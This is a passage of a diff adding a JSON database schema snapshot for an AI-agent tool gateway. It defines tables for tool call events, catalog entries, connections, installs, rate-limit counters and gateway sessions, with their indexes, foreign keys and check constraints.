+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_call_events_company_created_idx": {
+          "name": "tool_call_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_run_idx": {
+          "name": "tool_call_events_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_issue_idx": {
+          "name": "tool_call_events_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_invocation_idx": {
+          "name": "tool_call_events_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_gateway_idx": {
+          "name": "tool_call_events_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_call_events_company_id_companies_id_fk": {
+          "name": "tool_call_events_company_id_companies_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_agent_id_agents_id_fk": {
+          "name": "tool_call_events_agent_id_agents_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_call_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_issue_id_issues_id_fk": {
+          "name": "tool_call_events_issue_id_issues_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_call_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_application_id_tool_applications_id_fk": {
+          "name": "tool_call_events_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_call_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_call_events_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_action_request_id_tool_action_requests_id_fk": {
+          "name": "tool_call_events_action_request_id_tool_action_requests_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_action_requests",
+          "columnsFrom": [
+            "action_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk": {
+          "name": "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_runtime_slots",
+          "columnsFrom": [
+            "runtime_slot_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_catalog_entries": {
+      "name": "tool_catalog_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entry_kind": {
+          "name": "entry_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'tool'"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_schema": {
+          "name": "input_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "output_schema": {
+          "name": "output_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "annotations": {
+          "name": "annotations",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'read'"
+        },
+        "is_read_only": {
+          "name": "is_read_only",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_write": {
+          "name": "is_write",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "is_destructive": {
+          "name": "is_destructive",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version_hash": {
+          "name": "version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schema_hash": {
+          "name": "schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_seen_at": {
+          "name": "first_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_seen_at": {
+          "name": "last_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "reviewed_at": {
+          "name": "reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_agent_id": {
+          "name": "reviewed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_user_id": {
+          "name": "reviewed_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantined_at": {
+          "name": "quarantined_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantine_reason": {
+          "name": "quarantine_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_catalog_entries_company_idx": {
+          "name": "tool_catalog_entries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_application_idx": {
+          "name": "tool_catalog_entries_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_idx": {
+          "name": "tool_catalog_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_company_status_idx": {
+          "name": "tool_catalog_entries_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_name_uq": {
+          "name": "tool_catalog_entries_connection_name_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_catalog_entries_company_id_companies_id_fk": {
+          "name": "tool_catalog_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_catalog_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_catalog_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk": {
+          "name": "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reviewed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_connection_installs": {
+      "name": "tool_connection_installs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connection_installs_company_target_idx": {
+          "name": "tool_connection_installs_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_connection_idx": {
+          "name": "tool_connection_installs_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_target_uq": {
+          "name": "tool_connection_installs_target_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connection_installs_company_id_companies_id_fk": {
+          "name": "tool_connection_installs_company_id_companies_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_connection_id_tool_connections_id_fk": {
+          "name": "tool_connection_installs_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connection_installs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "tool_connection_installs_target_type_check": {
+          "name": "tool_connection_installs_target_type_check",
+          "value": "\"tool_connection_installs\".\"target_type\" in ('company', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_connections": {
+      "name": "tool_connections",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "uid": {
+          "name": "uid",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_kind": {
+          "name": "connection_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'managed'"
+        },
+        "ownership": {
+          "name": "ownership",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'customer'"
+        },
+        "transport": {
+          "name": "transport",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "auth_kind": {
+          "name": "auth_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "transport_config": {
+          "name": "transport_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "credential_refs": {
+          "name": "credential_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_at": {
+          "name": "last_health_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_catalog_refresh_at": {
+          "name": "last_catalog_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connections_company_idx": {
+          "name": "tool_connections_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_application_idx": {
+          "name": "tool_connections_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_enabled_idx": {
+          "name": "tool_connections_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_uid_uq": {
+          "name": "tool_connections_company_uid_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "uid",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connections_company_id_companies_id_fk": {
+          "name": "tool_connections_company_id_companies_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connections_application_id_tool_applications_id_fk": {
+          "name": "tool_connections_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "tool_connections_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connections_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "tool_connections_company_id_uq": {
+          "name": "tool_connections_company_id_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "company_id",
+            "id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "tool_connections_ownership_check": {
+          "name": "tool_connections_ownership_check",
+          "value": "\"tool_connections\".\"ownership\" in ('platform_shared', 'platform_provisioned', 'customer', 'dcr')"
+        },
+        "tool_connections_transport_check": {
+          "name": "tool_connections_transport_check",
+          "value": "\"tool_connections\".\"transport\" in ('mcp_remote', 'rest_api', 'local_stdio')"
+        },
+        "tool_connections_auth_kind_check": {
+          "name": "tool_connections_auth_kind_check",
+          "value": "\"tool_connections\".\"auth_kind\" in ('oauth', 'api_key', 'none')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_rate_limit_counters": {
+      "name": "tool_gateway_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_ms": {
+          "name": "window_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_rate_limit_counters_company_idx": {
+          "name": "tool_gateway_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_rate_limit_counters_window_uq": {
+          "name": "tool_gateway_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_gateway_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_sessions": {
+      "name": "tool_gateway_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
